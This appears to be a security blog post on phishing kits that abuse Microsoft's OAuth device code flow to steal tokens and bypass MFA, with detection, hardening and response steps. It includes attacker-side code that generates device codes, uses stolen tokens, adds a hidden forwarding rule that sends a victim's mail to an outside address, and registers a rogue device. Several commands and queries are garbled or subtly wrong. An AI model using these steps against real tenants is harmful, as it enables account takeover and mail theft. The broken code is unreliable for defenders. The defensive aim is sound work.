Listen to this Post
Introduction:
Phishing‑as‑a‑Service (PhaaS) has transformed identity compromise from a niche technical skill into a commodity. The latest generation of PhaaS kits, such as EvilTokens and Graphish, no longer rely on fake login pages; instead they weaponize Microsoft’s legitimate OAuth 2.0 Device Authorization Grant flow. By tricking a victim into entering a short device code on the real Microsoft login portal, an attacker captures valid access and refresh tokens that bypass MFA and grant persistent, password‑free access to a victim’s Microsoft 365 mailbox, SharePoint, Teams and more.
Learning Objectives:
- Understand how PhaaS kits abuse Microsoft’s OAuth device code flow to bypass MFA without stealing passwords.
- Learn to detect device‑code phishing through Entra ID sign‑in logs, SIEM rules, and conditional access policies.
- Acquire hands‑on commands to investigate and remediate post‑exploitation tactics, including inbox rule abuse, token revocation, and device registration.
You Should Know:
1. Anatomy of a Device Code Phishing Attack
The OAuth 2.0 Device Authorization Grant (RFC 8628) was designed to let input‑limited devices (e.g., smart TVs, printers) sign into cloud services. A user is shown a short code and a URL (e.g. `https://microsoft.com/devicelogin`) where they enter that code to complete authentication. PhaaS kits now automate this flow to turn it into an MFA‑bypassing weapon.
Step‑by‑step attack flow:
- The attacker generates a legitimate device code and user code by calling Microsoft’s `/devicecode` endpoint using a registered application.
- The victim receives a lure (email, QR code, document link) that instructs them to enter the provided code at the genuine Microsoft login page.
- The victim complies, completes normal MFA (if required), and unknowingly authorizes the attacker’s application.
- Microsoft issues an access token (∼1 hour) and a refresh token (∼90 days) to the attacker’s device.
- The attacker uses the tokens to interact directly with Microsoft Graph, accessing mail, files, Teams, and Azure resources without ever knowing the victim’s password.
Example: generating a device code (Python)
import requests
tenant = "common"
client_id = "ATTACKER_REGISTERED_APP_ID"
payload = {
"client_id": client_id,
"scope": "https://graph.microsoft.com/.default"
}
resp = requests.post(
f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode",
data=payload
)
print(resp.json())
Output includes "user_code" (e.g., "ABC123") and "verification_uri"
Once the victim enters the user code, the attacker polls the token endpoint to exchange the device code for tokens.
2. Post‑Exploitation Playbook with Microsoft Graph
After token theft, attackers immediately pivot to persistent access. Modern PhaaS kits automate:
– Mailbox rule creation to forward sensitive email or hide security alerts.
– Device registration to obtain a Primary Refresh Token (PRT) that survives password changes and token revocation.
– Graph API enumeration to identify Global Admins, financial conversations, and sensitive documents.
Enumerate mailbox rules (PowerShell, attacker‑side with stolen token)
After importing a stolen refresh token Connect-MgGraph -AccessToken (Get-StolenToken) List all inbox rules for a compromised mailbox Get-InboxRule -Mailbox [email protected] | Format-List Name, Description, ForwardTo, DeleteMessage
Add a stealthy forwarding rule (PowerShell)
New-InboxRule -Mailbox [email protected] -1ame "Legal Notice" -ForwardTo [email protected] -DeleteMessage $true
Register a malicious device to obtain a long‑lived PRT (using DCL kit technique)
Attacker uses Microsoft Authentication Broker client ID `29d9ed98-a469-4536-ade2-f981bc1d605e` to register a virtual device. The issued PRT remains valid for ∼90 days and bypasses typical revocation commands.
Detect new device registrations (Entra ID Audit Logs)
AuditLogs | where OperationName == "Add device" | where InitiatedBy.user.userPrincipalName == "[email protected]" | project TimeGenerated, DeviceName, DeviceOS, InitiatedBy
- Detection: Finding Device Code Phishing in Your Tenant
Because the victim authenticates on a legitimate Microsoft domain, traditional antiphishing filters miss the attack. Detection must focus on the Entra ID sign‑in logs and the device code authentication protocol.
KQL query for suspicious device code sign‑ins (Microsoft Sentinel / Defender)
SigninLogs | where AuthenticationProtocol == "deviceCode" | where ResultType == 0 successful authentication | extend App = tostring(parse_json(tostring(ResourceDisplayName))) | where App == "Microsoft Graph" or App == "Office 365" | project TimeGenerated, UserPrincipalName, IPAddress, App, ClientAppUsed, DeviceDetail | sort by TimeGenerated desc
Sigma rule for SIEMs (Elastic / Splunk)
The Elastic detection‑rules repository includes a rule that identifies successful Entra ID sign‑ins using the device code protocol and correlates them with known AiTM phishing kits like Tycoon 2FA. Splunk’s ESCU uses `properties.authenticationProtocol=”deviceCode”` to trigger alerts.
- Hardening: Blocking Device Code Flow with Conditional Access
The most effective mitigation is to disable device code flow entirely if your organisation does not rely on it (e.g., for IoT devices). Microsoft Entra ID allows this through a conditional access policy.
Step‑by‑step: block device code flow
- Sign into Microsoft Entra admin centre as a Conditional Access Administrator.
- Navigate to Protection → Conditional Access → Policies.
3. Click + New policy.
- Under Conditions → Authentication flows, set Configure to Yes and check Device code flow.
5. Under Grant, choose Block access.
- Apply the policy to All users and All cloud apps.
- Set policy to Report‑only first, verify no legitimate usage, then enable.
For organisations that cannot block the flow entirely, consider a policy that enforces a Compliant device or Hybrid joined device requirement, or restricts the flow to known IP ranges.
5. Incident Response: Revoking Tokens and Eradicating Persistence
When a device code compromise is confirmed, a password reset is insufficient – the attacker’s refresh token remains valid. Follow this IR playbook:
Step 1 – Revoke all refresh tokens (PowerShell)
Connect-MgGraph -Scopes "User.Read.All", "Policy.ReadWrite.AuthenticationMethod" Revoke all sessions for a single user Revoke-MgUserSignInSession -UserId "[email protected]"
To revoke for all users in the tenant:
Get-MgUser -All | ForEach-Object { Revoke-MgUserSignInSession -UserId $_.Id }
This invalidates all refresh tokens and browser sessions, forcing re‑authentication.
Step 2 – Audit and remove malicious inbox rules
Get-InboxRule -Mailbox [email protected] -IncludeHidden | Where-Object { $<em>.ForwardTo -like "@external.com" -or $</em>.Description -like "invoice" } Remove suspicious rule Remove-InboxRule -Mailbox [email protected] -Identity "Legal Notice"
Step 3 – Check for unauthorised device registration
Get-MgDevice -All | Where-Object { $<em>.IsCompliant -eq $false -and $</em>.IsManaged -eq $false }
Remove any unrecognised devices.
Step 4 – Enforce re‑authentication with fresh MFA
After revoking tokens, require the user to sign in again and re‑register MFA methods if needed.
6. Defensive Visibility: Enriching Authentication Logs
To catch future attempts, enable detailed authentication logging and integrate threat intelligence feeds from PhaaS infrastructure.
Export device code sign‑ins for hunting (Azure CLI)
az rest --method get --uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?$filter=authenticationProtocol eq 'deviceCode'"
Use ANY.RUN’s threat intelligence to block known PhaaS domains
Organisations can subscribe to ANY.RUN’s TI feeds that contain indicators of compromise (IOCs) for EvilTokens, Kali365, Tycoon 2FA and others. These IOCs can be fed into firewalls, email gateways, and SIEMs.
What Undercode Say:
- Key Takeaway 1: Device‑code phishing represents a fundamental shift in identity attacks – MFA alone is no longer a sufficient defence when the attacker uses the victim’s own legitimate authentication session. Organisations must treat device code flows as high‑risk and actively block or monitor them.
- Key Takeaway 2: The PhaaS economy has industrialised post‑exploitation. Kits now include automated mailbox searching, device registration, token replay, and even AI‑generated lures. Defenders must adopt detection as code – using Sigma rules, KQL hunting queries, and Conditional Access policies – to keep pace with automated campaigns.
Prediction:
- -1 The democratisation of device code phishing through PhaaS will continue to expand, with more threat actors adopting token‑based attacks that bypass traditional password and MFA controls. Organisations that do not disable device code flow will face a rising tide of silent account takeovers.
- +1 However, increased visibility from cloud identity providers and security vendors will lead to better detection rules (Sigma, Splunk ESCU, Elastic) and automated response playbooks. Microsoft will likely introduce tenant‑wide switches to restrict device code flow to managed devices only.
- -1 The shift toward token replay and PRT theft means that even after remediation, a single overlooked refresh token can grant an attacker persistent access for up to 90 days. Incident response teams must incorporate token revocation into every identity compromise runbook.
- +1 Regulatory bodies (e.g., CISA, ASD) will push for mandatory conditional access policies that block unused authentication protocols, driving a more resilient identity posture across enterprises.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Elishlomo Security – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
